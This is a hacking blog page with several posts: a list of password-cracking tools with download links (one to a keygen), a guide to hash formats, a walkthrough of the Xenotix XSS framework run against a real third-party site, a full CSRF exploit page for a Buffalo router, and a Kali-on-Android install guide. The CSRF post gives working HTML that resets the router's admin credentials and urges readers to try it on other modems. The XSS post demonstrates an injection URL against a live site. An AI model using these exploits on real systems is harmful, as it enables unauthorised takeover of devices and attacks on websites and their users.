.:: Dark Site ::.

Hackers Favorite Tools For Cracking Password

<div dir="ltr" style="text-align: left;" trbidi="on">SoHi In my Previous i posted about<a href="http://www.darksite.co.in/2013/09/commonly-found-encrypted-password-hash.html"> COMMONLY FOUND ENCRYPTED PASSWORD HASH AND SALTS</a>Now we Will discuss what tools are used for cracking those password so lets begin the cracking .<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhg6qrZ8Y1M6xNy7PxUpR-ePKj5KTUhqlwfgc2DmH_ip2BHSSRG0dHcboEG9KSsdJm9Im-D2WvoHqNh7DkZ4uv83a9FfMVtiBFbiRwuSVSrlDopTU-gZr35pk0PMzRhH9XOSi3j4WSJaI0U/s1600/large.jpg" imageanchor="1" style=""><img alt="Hacker's Favorite Tools For Password Cracking" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhg6qrZ8Y1M6xNy7PxUpR-ePKj5KTUhqlwfgc2DmH_ip2BHSSRG0dHcboEG9KSsdJm9Im-D2WvoHqNh7DkZ4uv83a9FfMVtiBFbiRwuSVSrlDopTU-gZr35pk0PMzRhH9XOSi3j4WSJaI0U/s1600/large.jpg" /></a></div><br />
Cain and Abel :- Best tool for windows password cracking.It can recover passwords by sniffing the network, cracking encrypted passwords using Dictionary, Brute-Force and Cryptanalysis attacks, recording VoIP conversations, decoding scrambled passwords, revealing password boxes, uncovering cached passwords and analyzing routing protocols. <br />
<br />
<a href="http://www.hackingtools.in/free-download-cain-and-abel/">Download Free</a> <br />
<br />
John the Ripper :- A powerful, flexible, and fast multi-platform password hash cracker. John the Ripper is a fast password cracker, currently available for many flavors of Unix, DOS, Win32, BeOS, and OpenVMS. Its primary purpose is to detect weak Unix passwords. It supports several crypt(3) password hash types which are most commonly found on various Unix flavors, as well as Kerberos AFS and Windows NT/2000/XP LM hashes. Several other hash types are added with contributed patches.<br />
<br />
<a href="http://www.openwall.com/john/">Download Free</a>  <br />
<br />
THC Hydra :- A Fast network authentication cracker which support many different services. When you need to brute force crack a remote authentication service, Hydra is often the tool of choice. It can perform rapid dictionary attacks against more then 30 protocols, including telnet, ftp, http, https, smb, several databases, and much more.<br />
<a href="http://freeworld.thc.org/thc-hydra/"><br />
Download Free</a><br />
<br />
L0phtcrack :- Windows password auditing and recovery application L0phtCrack, also known as LC5, attempts to crack Windows passwords from hashes which it can obtain (given proper access) from stand-alone Windows NT/2000 workstations, networked servers, primary domain controllers, or Active Directory. In some cases it can sniff the hashes off the wire. It also has numerous methods of generating password guesses (dictionary, brute force, etc).<br />
<br />
<a href="http://download.insecure.org/stf/lc5-setup.exe">Download</a><br />
<a href="http://download.insecure.org/stf/lc5-crack.zip">http://download.insecure.org/stf/lc5-crack.zip</a> (keygen)  <br />
<br />
Pwdump :- Windows password recovery tool. Pwdump is able to extract NTLM and LanMan hashes from a Windows target, regardless of whether Syskey is enabled. It is also capable of displaying password histories if they are available. It outputs the data in L0phtcrack-compatible form, and can write to an output file.<br />
<br />
<a href="http://swamp.foofus.net/fizzgig/pwdump/downloads.htm">Download Free</a><br />
<br />
RainbowCrack :- An Innovative Password Hash Cracker.The RainbowCrack tool is a hash cracker that makes use of a large-scale time-memory trade-off. A traditional brute force cracker tries all possible plaintexts one by one, which can be time consuming for complex passwords. RainbowCrack uses a time-memory trade-off to do all the cracking-time computation in advance and store the results in so-called "rainbow tables". It does take a long time to precompute the tables but RainbowCrack can be hundreds of times faster than a brute force cracker once the precomputation is finished. <br />
<a href="http://www.antsight.com/zsl/rainbowcrack/"><br />
Download Free</a><br />
<br />
Brutus :- A network brute-force authentication cracker<br />
This Windows-only cracker bangs against network services of remote systems trying to guess passwords by using a dictionary and permutations thereof. It supports HTTP, POP3, FTP, SMB, TELNET, IMAP, NTP, and more.<br />
<a href="http://www.hoobie.net/brutus/brutus-download.html">Download Free</a><br />
<br />
Please Do comment if you know any other tools that you use to break any password you can also share online url .<br />
<br />
thank you for your love and support :).</div>

Hackers Favorite Tools For Cracking Password

SoHi In my Previous i posted about COMMONLY FOUND ENCRYPTED PASSWORD HASH AND SALTS Now we Will discuss what tools are used for cracking th...

Commonly Found Encrypted Password Hash And Salts

This post basically gives you a real life idea of few commonly found encrypted .so let me make you understand why this encryption is needed for the website developer? the answer is very simple its basically to make storage of your in secured format rather than storing password in clear text format it is always better to store keep it encrypted format so that nobody can easily see it<br />
to have better idea lets discuss.<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8uu5BBjJEXkuwtVBlN5LHYvaCqLInfNKeRi1r3pS2t2MqS1nf-RYcciCDyC5iy4O1Ork2AFfZWA6MW7veiI9TXVUEpqsB-tQTzl6hE1aWDPKCt0C0-dCfwV0GZ58QyeGlSnv0Dfs6ST4K/s1600/encryption.png" imageanchor="1" style=""><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8uu5BBjJEXkuwtVBlN5LHYvaCqLInfNKeRi1r3pS2t2MqS1nf-RYcciCDyC5iy4O1Ork2AFfZWA6MW7veiI9TXVUEpqsB-tQTzl6hE1aWDPKCt0C0-dCfwV0GZ58QyeGlSnv0Dfs6ST4K/s320/encryption.png" /></a></div><font color="red"><h3>What is Hash? Types Of HASH</h3></font><br />
It is a common technique use by developer to store password in database in encrypted format so that normal person cannot see the credentials in clear text.every time when ever a user log  in to authentication portal his/her password is compared with the stored hash and if it found to be valid then the user is given access to portal,if the two hashes are not the same the passwords do not match and the user is denied access.<br />
<br />
<h2>various types of encrypted password with example </h2><br />
<li><b>MD5 </b>- The most common hash you will come across in the wild is an MD5 hash (Message-Digest algorithm)<br />
<br />
Characteristics:- <br />
<br />
<li>They are always 32 characters in length (128 Bits)<br />
<li>They are always hexadecimal (Only use characters 0-9 and A-F)<br />
<blockquote>Example - f5d1278e8109edd94e1e4197e04873b9<br />
</blockquote>If the hash breaks one of these rules - IT IS NOT MD5.<br />
<br />
<li><b>SHA1</b> - Still used frequently on the internet and is one of a large family of Secure Hash Algorithms.<br />
<br />
Characteristics:- <br />
<br />
<li>They are always 40 Characters in length (160 bits)<br />
<li>They are always hexadecimal (Only use characters 0-9 and A-F)<br />
<blockquote>Example - ab4d8d2a5f480a137067da17100271cd176607a1<br />
</blockquote>If the hash breaks one of these rules - IT IS NOT SHA1.<br />
<br />
<li><b>MySQL < 4.1 </b>- These aren't used very often but still come up on  very often because people have no idea what to do with them, they are used in older versions of Mysql.<br />
<br />
Characteristics:- <br />
<br />
They are always 16 Characters in length (64 bits)<br />
They are always hexadecimal (Only use characters 0-9 and A-F)<br />
If the hash breaks one of these rules - IT IS NOT MYSQL < 4.1.

<blockquote><br />
Example - 606727496645bcba<br />
</blockquote><br />
<li><b>MYSQL5</b> - Used in newer versions of MYSQL to store database user passwords.<br />
<br />
Characteristics:- <br />
<br />
They are always 41 characters in length<br />
They are always capitalized<br />
They always begin with an asterisk <br />
If the hash breaks one of these rules - IT IS NOT MYSQL5.<br />
<blockquote>Example - *C8EB599B8E8EE7BE9F1A5691B7BC9ECCB8DE1C75<br />
</blockquote><br />
<li><b>MD5(Wordpress)</b> - Used in word press driven sites, one of the most commonly confused hashes by everyone<br />
<br />
Characteristics:- <br />
<br />
They always start with $P$<br />
They are always variable case alpha numeric (0-9 A-Z a-z)<br />
The are always 34 characters long<br />
<br />
If the hash breaks one of these rules - IT IS NOT MD5(Wordpress).<br />
<blockquote>Example - $P$9QGUsR07ob2qNMbmSCRh3Moi6ehJZR1<br />
</blockquote><li><b>MD5(phpBB3)</b> - Used in PHPBB forums, another commonly miss identified hash, especially amongst skids.<br />
<br />
Characteristics:- <br />
<br />
They always start with $H$<br />
They are always variable case alpha numeric (0-9 A-Z a-z)<br />
The are always 34 characters long<br />
If the hash breaks one of these rules - IT IS NOT MD5(PhpBB).<br />
<br />
<blockquote>Example - $H$9xAbu5SruQM5WvBldAnS46kQMEw2EQ0<br />
</blockquote><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgt_DC6Pb3C7lTWq9mgBLwWrfv8-0BN9Fd4zQn65g4ty5BdM0Bz_a6FCmDfMeXbV5ASdKA69uo9lyAyee22UoXJl4IR68ikNmbvZ3QkIb8rHoXzwu_UcAv_ZNwtz_-cSw0pUpKZMR2z5CjH/s1600/encryption.jpg" imageanchor="1" style=""><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgt_DC6Pb3C7lTWq9mgBLwWrfv8-0BN9Fd4zQn65g4ty5BdM0Bz_a6FCmDfMeXbV5ASdKA69uo9lyAyee22UoXJl4IR68ikNmbvZ3QkIb8rHoXzwu_UcAv_ZNwtz_-cSw0pUpKZMR2z5CjH/s320/encryption.jpg" /></a></div><font color="red"><h3>What is SALTS? Types of Salts</h3></font><br />
The most commonly salted hash is MD5 because it is cryptographically weak and easy to crack. So a salt gets added to the password before hashing to increase the parity. For example MD5($password.$salt).<br />
<br />
<li><b>Salted MD5 </b>- Used in a large amount of applications to increase hash parity and to increase the time it takes to crack.<br />
<br />
Characteristics:- <br />
<br />
They consist of two blocks connected by a colon, the first is the hash the second is the salt.<br />
The first part of the salted hash is hexadecimal, the second is variable case alphanumeric.<br />
They first part will always be 32 characters long<br />
The second part can be any length.<br />
If the hash breaks one of these rules - IT IS NOT A SALTED MD5.<br />
<blockquote>Example - 49adee90123f8c77d9020bba968c34dd:PS2en<br />
</blockquote>Warning - in some cases the salt can contain symbols (but this is rare)<br />
<br />
<b>NOTE - </b>You need both the salt AND the hash to decrypt a salted md5.<br />
<br />
<b>Cracking these Encryption</b><br />
<br />
This what a hacker always look for after getting the password from database through sql injection /other web vulnerability.<br />
There are various online as well as offline tools are available for cracking any encrypted password so that i will put in my next post keep visiting have a racking time ahead :).

Commonly Found Encrypted Password Hash And Salts

This post basically gives you a real life idea of few commonly found encrypted .so let me make you understand why this encryption is needed ...

Xenotix XSS Exploit Framework V4 A Perfect Tool For Xss Exploiting | Advance XSS Detecting Frame work

Hi everyone today i am going give you a brief explanation on Xenotix Tool It is a tool specially crafted for detecting XSS And Exploiting the Attack.<br />
It provides Zero False Positive scan results with its unique Triple Browser Engine (Trident[IE], WebKit[Mozilla], and Gecko[Chrome]) embedded scanner. It is claimed to have the world’s 2nd largest XSS Payloads of about 1500+ distinctive XSS Payloads for effective XSS vulnerability detection and WAF Bypass. XSS is one of the top 3rd Vulnerability in the OWASP 2013 Web application Vulnerabilities list. Cross-site scripting (XSS) is a type of security vulnerability typically found in web applications which allows the attackers to inject client-side script into web pages viewed by other users<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgki4mU6qeYSHy9OWNeZkjHHhXeyc-YnQ8lk517XcyQWLiERZqn2hWy5KHdoWTuygXpAgsb-J3n4z5mdyZeOkEY1QpFrqgQyUu0d4cKT2qSAo0mPqwYSAAnDHXc4rZuNhTJGpJUS1FdVTht/s1600/xenotix+Xss+Exploration.png" imageanchor="1" style=""><img alt="xenotix" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgki4mU6qeYSHy9OWNeZkjHHhXeyc-YnQ8lk517XcyQWLiERZqn2hWy5KHdoWTuygXpAgsb-J3n4z5mdyZeOkEY1QpFrqgQyUu0d4cKT2qSAo0mPqwYSAAnDHXc4rZuNhTJGpJUS1FdVTht/s1600/xenotix+Xss+Exploration.png" /></a></div>Xenotix  Exploit Framework includes highly offensive XSS exploitation modules for Penetration Testing and Proof of Concept creation.<br />
It has got various modules <br />
<b>SCANNER MODULES</b> includes<br />
<li>Manual Mode Scanner<br />
which actually manully allow you to check all payload one by one<br />
<li>Auto Mode Scanner<br />
this feature allow you to auto mate the payload execution to your target<br />
<li>DOM Scanner<br />
this scan and check for xss based on dom (Document Object Model)<br />
<li>Multiple Parameter Scanner<br />
this is use for checking for xss based on multiple parameter<br />
<li>POST Request Scanner<br />
this allows you to check for xss on post request whcih helps a lot in modern technology based website<br />
<li>Header Scanner<br />
check in the header part for xss attack<br />
<li>Fuzzer<br />
xss fuzzer allow you an option to scan on user independednt parameter by just putting [X] int he parameter<br />
<li>Hidden Parameter Detector<br />
this feature allow you to detect parameter for xss attack automatically.<br />
<br />
Xenotix has also go the <b>INFORMATION GATHERING MODULES</b> which helps you on Enumeration target and get enough information on victim url<br />
<br />
some of its feature are<br />
<li>Victim Fingerprinting<br />
<li>Browser Fingerprinting<br />
<li>Browser Features Detector<br />
<li>Ping Scan<br />
<li>Port Scan<br />
<li>Internal Network Scan<br />
<br />
It also has <b>EXPLOITATION MODULES</b> Which has a Great option to exploit any xss vulnerable target <br />
<li>Send Message<br />
<li>Cookie Thief<br />
<li>Phisher<br />
<li>Tabnabbing<br />
<li>Keylogger<br />
<li>HTML5 DDoSer<br />
<li>Executable Drive By<br />
<li>JavaScript Shell<br />
<li>Reverse HTTP WebShell<br />
<li>Drive-By Reverse Shell<br />
<li>Metasploit Browser Exploit<br />
<li>Firefox Reverse Shell Addon (Persistent)<br />
<li>Firefox Session Stealer Addon (Persistent)<br />
<li>Firefox Keylogger Addon (Persistent)<br />
<li>Firefox DDoSer Addon (Persistent)<br />
<li>Firefox Linux Credential File Stealer Addon (Persistent)<br />
<li>Firefox Download and Execute Addon (Persistent)<br />
<br />
Xenotix has 1500+ payload for checking xss attack on any url. Ajin Abraham is the creator of OWASP Xenotix XSS Exploit Framework.<br />
Ajin has already posted white paper at <br />
<li><a href="http://www.exploit-db.com/wp-content/themes/exploit/docs/21223.pdf">Exploit-db Xss Attack</a><br />
<li><a href="http://packetstormsecurity.org/files/116455/Detecting-And-Exploiting-XSS-With-Xenotix-XSS-Exploit-Framework.html">Packet Storm XSS By ajin</a>Etc<br />
<br />
also posted video tutorial you can just have practical demo.<br />
<iframe width="420" height="315" src="//www.youtube.com/embed/dCo5BCJWOdA" frameborder="0" allowfullscreen></iframe><br />
<br />
enough about tool lets try Practically explore a target for detecting xss attack.<br />
<br />
lets take http://www.webopedia.com/ (Alexa Rank Global 4631 ,India Flag 920)as example <br />
now it has a search box now we will explore more on it and find our xss attack on it.<br />
so first of all download Xenotix <a href="https://www.dropbox.com/s/ookdse6pyszh736/Xenotix%20XSS%20Exploit%20Framework%20V4.rar">Here</a><br />
After downloading open Xenotix XSS Exploit Framework.exe<br />
first of all set the configur server and give your ip 192.168.xxx.xxx and port to be xxyz then click on start<br />
next  just search for darksite.co.in on www.webopedia.com and get the ulr you will see something like this<br />
<blockquote>http://www.webopedia.com/sgsearch/results?cx=partner-pub-8768004398756183%3A6766915980&cof=FORID%3A10&ie=UTF-8&q=darksite.co.in<br />
</blockquote>so we see some thing like q=..... so that is our vulnreable parameter lets exploit it using xenotix<br />
So here it is we got our xss at now put the url at the address box and then go to scanner on menu bar and select manual mode<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhyKpw5JJ94xocZe-a7aka_HK0AQlkEh6hhNz_yOIy0fEWxz64aD6kUS-tXyOhImmfbBFE04gsPGif_v9QxtO5IhQ9xVGdH7CXonqM7i3smfzpHv0RTvZemMYxYYsfpRj-uIcXnDGiKsPie/s1600/9789u.png" imageanchor="1" style=""><img alt="detecting xss with xenotix" height="152" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhyKpw5JJ94xocZe-a7aka_HK0AQlkEh6hhNz_yOIy0fEWxz64aD6kUS-tXyOhImmfbBFE04gsPGif_v9QxtO5IhQ9xVGdH7CXonqM7i3smfzpHv0RTvZemMYxYYsfpRj-uIcXnDGiKsPie/s280/9789u.png" width="280" /></a></div>keep clicking next exploit and it run concurrently three different browser<br />
<blockquote>http://www.webopedia.com/sgsearch/results?cx=partner-pub-8768004398756183:6766915980&cof=FORID:10&ie=UTF-8&q=*<*script*>*+*alert("XSS")*<*/*SCRIPT*>*<br />
(remove '*' from url)<br />
</blockquote>  so finally we got the xssed :)<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBgRXdHzT9A2rSpfojb242sH8XuPbfk-O1pwF8F7CwxKP7iK1HXrH86yXddAoRYmVOUwGu1cUS_oSYckQorS0czB29BmBQr1hWACqZ7NCRGfn7jCdwi7V6kYrAw7qqAcW3c-iAuIr3LZn7/s1600/12313.png" imageanchor="1" style=""><img alt="exploiting xss with xenotix" height="152" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBgRXdHzT9A2rSpfojb242sH8XuPbfk-O1pwF8F7CwxKP7iK1HXrH86yXddAoRYmVOUwGu1cUS_oSYckQorS0czB29BmBQr1hWACqZ7NCRGfn7jCdwi7V6kYrAw7qqAcW3c-iAuIr3LZn7/s280/12313.png" width="280" /></a></div>So this is how we just tried a basic  use of xenotix fro exploit xss<br />
so later on i will try to put some more tutorial using xenotix utilizing its different features<br />
trust me its one of the best tool for xss attack and using this i got many such xss on top rated sites.<br />
do explore more and if you have any query do comments/Suggestion  for Improvements   below

Xenotix XSS Exploit Framework V4 A Perfect Tool For Xss Exploiting | Advance XSS Detecting Frame work

Hi everyone today i am going give you a brief explanation on Xenotix Tool It is a tool specially crafted for detecting XSS And Exploiting th...

How To Hack Wireless Modem | Reset Username And Password

Hello friends after a long day gap today i am going to post a small tutorial on how you can hack the modem devices.<br />
So Lets Begin This vulnerability is known as CSRF (Cross-site request forgery) or some say it to be  one-click attack so it is a type of attack that allow hackers to change/modify/update on currently connected website/url.<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjwL9_zMB8qeLE4wVtlXuHTAsgsz4lgL5ARAJkci6KT1n5rHKavvsWWErRHMw63fcK1dEntf0bBnLW-QLAUliKGySbK9nljVSaus4MIfZQ_CPjw-O19ifXhmL9GeCzyr-xR_KlLVjxNg_55/s1600/modem+hacking.jpg" imageanchor="1" style=""><img alt="modem hacking" height="152" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjwL9_zMB8qeLE4wVtlXuHTAsgsz4lgL5ARAJkci6KT1n5rHKavvsWWErRHMw63fcK1dEntf0bBnLW-QLAUliKGySbK9nljVSaus4MIfZQ_CPjw-O19ifXhmL9GeCzyr-xR_KlLVjxNg_55/s280/modem+hacking.jpg" width="280" /></a></div><br />
so how hacker use this CSRF attack To change Modem Password and Username lets do it step by step.<br />
for doing this you just need to now what all parameter the cgi page is using.<br />
now consider that you know the parameter that the reset successful page is taking after knowing those things you just need to create a html page that basically call that cgi/successful confirmation on the form action parameter and after doing it the password will successfully changed so i think you must have got some confused lets do it practically.<br />
<br />
i am taking an example that is already submitted by one of my friend Prayas a Real quality security expert.<br />
There is a CSRF vulnerability in the Buffalo WZR-HP-G300NH2(A high Speed wireless Modem) and any one easily change or manipulate the admin username and password. This is will POST request and any one can craft malicious html form with specially crafted POST request <br />
to the router and on execution of the form the router's user name and password can be changed to anything.<br />
Here is the exploit<br />
<textarea rows="10" cols="70"><br />
<html><br />
<br />
<body><br />
<h1>This is the PoC for the CSRF vulnerability in the buffalo router Powered by DD-WRT v24SP2-MULTI (10/31/11) std (SVN revision 17798)</h1><h2>click below to see the magic</h2><form action="http://192.168.1.1/apply.cgi" method="POST"><input type="hidden" name="submit_button" value="Management" /><br />
<input type="hidden" name="action" value="ApplyTake" /><br />
<input type="hidden" name="change_action" value="" /><br />
<input type="hidden" name="submit_type" value="" /><br />
<input type="hidden" name="commit" value="1" /><br />
<input type="hidden" name="PasswdModify" value="0" /><br />
<input type="hidden" name="remote_mgt_https" value="0" /><br />
<input type="hidden" name="http_enable" value="1" /><br />
<input type="hidden" name="info_passwd" value="0" /><br />
<input type="hidden" name="https_enable" value="0" /><br />
<input type="hidden" name="http_username" value="root" /><br />
<input type="hidden" name="http_passwd" value="hacked" /><br />
<input type="hidden" name="http_passwdConfirm" value="hacked" /><br />
<input type="hidden" name="_http_enable" value="1" /><br />
<input type="hidden" name="refresh_time" value="3" /><br />
<input type="hidden" name="status_auth" value="1" /><br />
<input type="hidden" name="maskmac" value="1" /><br />
<input type="hidden" name="remote_management" value="0" /><br />
<input type="hidden" name="remote_mgt_ssh" value="0" /><br />
<input type="hidden" name="remote_mgt_telnet" value="0" /><br />
<input type="hidden" name="remote_ip_any" value="1" /><br />
<input type="hidden" name="remote_ip" value="4" /><br />
<input type="hidden" name="remote_ip_0" value="0" /><br />
<input type="hidden" name="remote_ip_1" value="0" /><br />
<input type="hidden" name="remote_ip_2" value="0" /><br />
<input type="hidden" name="remote_ip_3" value="0" /><br />
<input type="hidden" name="remote_ip_4" value="0" /><br />
<input type="hidden" name="boot_wait" value="on" /><br />
<input type="hidden" name="cron_enable" value="1" /><br />
<input type="hidden" name="cron_jobs" value="" /><br />
<input type="hidden" name="nas_enable" value="1" /><br />
<input type="hidden" name="resetbutton_enable" value="1" /><br />
<input type="hidden" name="zebra_enable" value="1" /><br />
<input type="hidden" name="ipv6_enable0" value="0" /><br />
<input type="hidden" name="radvd_enable" value="0" /><br />
<input type="hidden" name="radvd_conf" value="" /><br />
<input type="hidden" name="enable_jffs2" value="0" /><br />
<input type="hidden" name="clean_jffs2" value="0" /><br />
<input type="hidden" name="language" value="english" /><br />
<input type="hidden" name="tcp_congestion_control" value="vegas" /><br />
<input type="hidden" name="ip_conntrack_max" value="4096" /><br />
<input type="hidden" name="ip_conntrack_tcp_timeouts" value="3600" /><br />
<input type="hidden" name="ip_conntrack_udp_timeouts" value="120" /><br />
<input type="hidden" name="samba_mount" value="0" /><br />
<input type="hidden" name="samba_share" value="//yourserverip/yourshare" /><br />
<input type="hidden" name="samba_user" value="username/computer" /><br />
<input type="hidden" name="samba_password" value="iwer573495u7340" /><br />
<input type="hidden" name="samba_script" value="yourscript" /><br />
<input type="submit" value="Owned !" /><br />
</form></body><br />
</html><br />

Save this as anything.htm and this will change the router's user name and password.

username:root
password:hacked
Download The Whole Exploit Here
Now we just did this for Buffalo Modem but as my point of view this particular vulnerability also hit common modem devices like BSNL Modem on rest.cgi,Few D-link wireless modem.You can try your Experiment and put your comments below if you are facing any doubt.

Thank You for reading Do share comment likes :)

How To Hack Wireless Modem | Reset Username And Password

Hello friends after a long day gap today i am going to post a small tutorial on how you can hack the modem devices. So Lets Begin This vuln...

How to install Kali Linux on Android Phone | Tablet

<div class="separator" style="clear: both; text-align: center;"><a href="http://www.kali.org/wp-content/uploads/2013/09/kali-android-deploy.png" imageanchor="1" style=""><img border="0" height="150" src="http://www.kali.org/wp-content/uploads/2013/09/kali-android-deploy.png" width="280" /></a></div><br />
This post is basically installing kali Os On Android Devices.Now Getting Kali Linux to run on ARM hardware has been a major goal for us since day one. So far, They've built native images for the Samsung Chromebook, Odroid U2, Raspberry Pi, RK3306, Galaxy Note 10.1, CuBox, Efika MX, and BeagleBone Black to name a few. This however does not mean you cannot install Kali Linux in a chroot on almost any modern device that runs Android. In fact, the developers of Linux Deploy have made it extremely easy to get any number of Linux distributions installed in a chroot environment using a simple GUI builder.<br />
<br />
<b>PREREQUISITES</b><br />
<br />
<li>A device running Android 2.1 and above, rooted.<br />
<li>At least 5 GB free space on internal or external storage.<br />
<li>A fast, wireless internet connection.<br />
<li>Patience to wait for a distribution to bootstrap from the network.<br />
<br />
<b>CONFIGURING LINUX DEPLOY FOR KALI</b><br />
<br />
There’s actually very little to be done to get Kali installed. By choosing Kali Linux in the “Distribution” tab, you’ve pretty much covered the important stuff. Optionally, you can choose your architecture, verify that the Kali mirror is correct, set your installation type and location on your Android device, etc. Generally speaking, the defaults provided by Linux Deploy are good to begin with.<br />
<br />
<b>BUILDING THE KALI IMAGE</b><br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="http://www.kali.org/wp-content/uploads/2013/09/linux-deploy-kali-list-00-576x1024.png" imageanchor="1" style=""><img border="0" height="250" src="http://www.kali.org/wp-content/uploads/2013/09/linux-deploy-kali-list-00-576x1024.png" width="280" /></a></div><br />
Once you are happy with all the settings, hitting the “install” button will start a Kali Linux bootstrap directly from our repositories. Depending on your Internet connection speed, this process could take a while. You’ll be downloading a base install of Kali Linux (with no tools) at minimum.<br />
<br />
<b>STARTING UP YOUR CHROOTED KALI<br />
</b><br />
Once the installation is complete, you can have Linux Deploy automatically mount and load up your Kali Linux chroot image. This also includes the starting of services such as SSH and VNC for easier remote access. All of this is automatically done by hitting the “<b>start</b>” button. You should see Linux Deploy setting up your image with output similar to the following:<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="http://www.kali.org/wp-content/uploads/2013/09/install-kali-linux-deploy.png" imageanchor="1" style=""><img border="0" height="150" src="http://www.kali.org/wp-content/uploads/2013/09/install-kali-linux-deploy.png" width="280" /></a></div><br />
At this stage, Linux Deploy has started a VNC and SSH server inside your chrooted Kali image. You can connect to the Kali session remotely using the IP address assigned to your Android device (in my case, 10.0.0.10).<br />
LOGGING IN TO YOUR CHROOTED KALI<br />
<br />
Now you can use either a SSH or VNC client to access your Kali instance. The VNC password is “<b>changeme</b>” and the SSH credentials are “android” for the username (configured via Linux Deploy) and “<b>changeme</b>” as the password.<br />
<br />
muts@slim:~$ ssh android@10.0.0.10<br />
android@10.0.0.10 password:<br />
Linux localhost 3.4.5-447845 #1 SMP PREEMPT Fri Apr 12 17:22:34 KST 2013 armv7l<br />
Kali GNU/Linux 1.0 [running on Android via Linux Deploy]<br />
android@localhost:~$ sudo su<br />
root@localhost:/home/android# df<br />
Filesystem 1K-blocks Used Available Use% Mounted on<br />
/dev/loop3 4180944 667268 3304012 17% /<br />
tmpfs 952708 80 952628 1% /dev<br />
tmpfs 952708 0 952708 0% /dev/shm<br />
root@localhost:/home/android#<br />
root@localhost:/home/android# apt-get update<br />
Hit http://http.kali.org kali Release.gpg<br />
Hit http://http.kali.org kali Release<br />
Hit http://http.kali.org kali/main Sources<br />
Hit http://http.kali.org kali/contrib Sources<br />
Hit http://http.kali.org kali/non-free Sources<br />
Hit http://http.kali.org kali/main armel Packages<br />
Hit http://http.kali.org kali/contrib armel Packages<br />
Hit http://http.kali.org kali/non-free armel Packages<br />
Ign http://http.kali.org kali/contrib Translation-en_US<br />
Ign http://http.kali.org kali/contrib Translation-en<br />
Ign http://http.kali.org kali/main Translation-en_US<br />
Ign http://http.kali.org kali/main Translation-en<br />
Ign http://http.kali.org kali/non-free Translation-en_US<br />
Ign http://http.kali.org kali/non-free Translation-en<br />
Reading package lists... Done<br />
root@localhost:/home/android#<br />
<div class="separator" style="clear: both; text-align: center;"><a href="http://www.kali.org/wp-content/uploads/2013/09/linux-deploy-mount-1024x847.png" imageanchor="1" style=""><img border="0" height="150" src="http://www.kali.org/wp-content/uploads/2013/09/linux-deploy-mount-1024x847.png" width="280" /></a></div><br />
If left unchanged, Linux Deploy will automatically set an image size of around 4 GB, for a “naked” installation of Kali. If you would like to install additional Kali tools down the road, you might want to consider using a larger image size, which is configurable via the settings in Linux Deploy.<br />
<b>LOCAL VNC CONNECTIONS</b><br />
this is just a try couple of VNC clients to get one to work properly. Although controlling Kali through a local VNC client isn’t the most convenient of tasks, it certainly is possible. However, we suspect that most people will be SSH’ing into this instance. The picture below was overlayed with a Kali Linux desktop screenshot taken from a Galaxy S4.<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="http://www.kali.org/wp-content/uploads/2013/09/galaxy-s4-kali-linux-1024x682.jpg" imageanchor="1" style=""><img border="0" height="150" src="http://www.kali.org/wp-content/uploads/2013/09/galaxy-s4-kali-linux-1024x682.jpg" width="280" /></a></div><br />
So Install it and Have fun :).

How to install Kali Linux on Android Phone | Tablet

This post is basically installing kali Os On Android Devices.Now Getting Kali Linux to run on ARM hardware has been a major goal for us sin...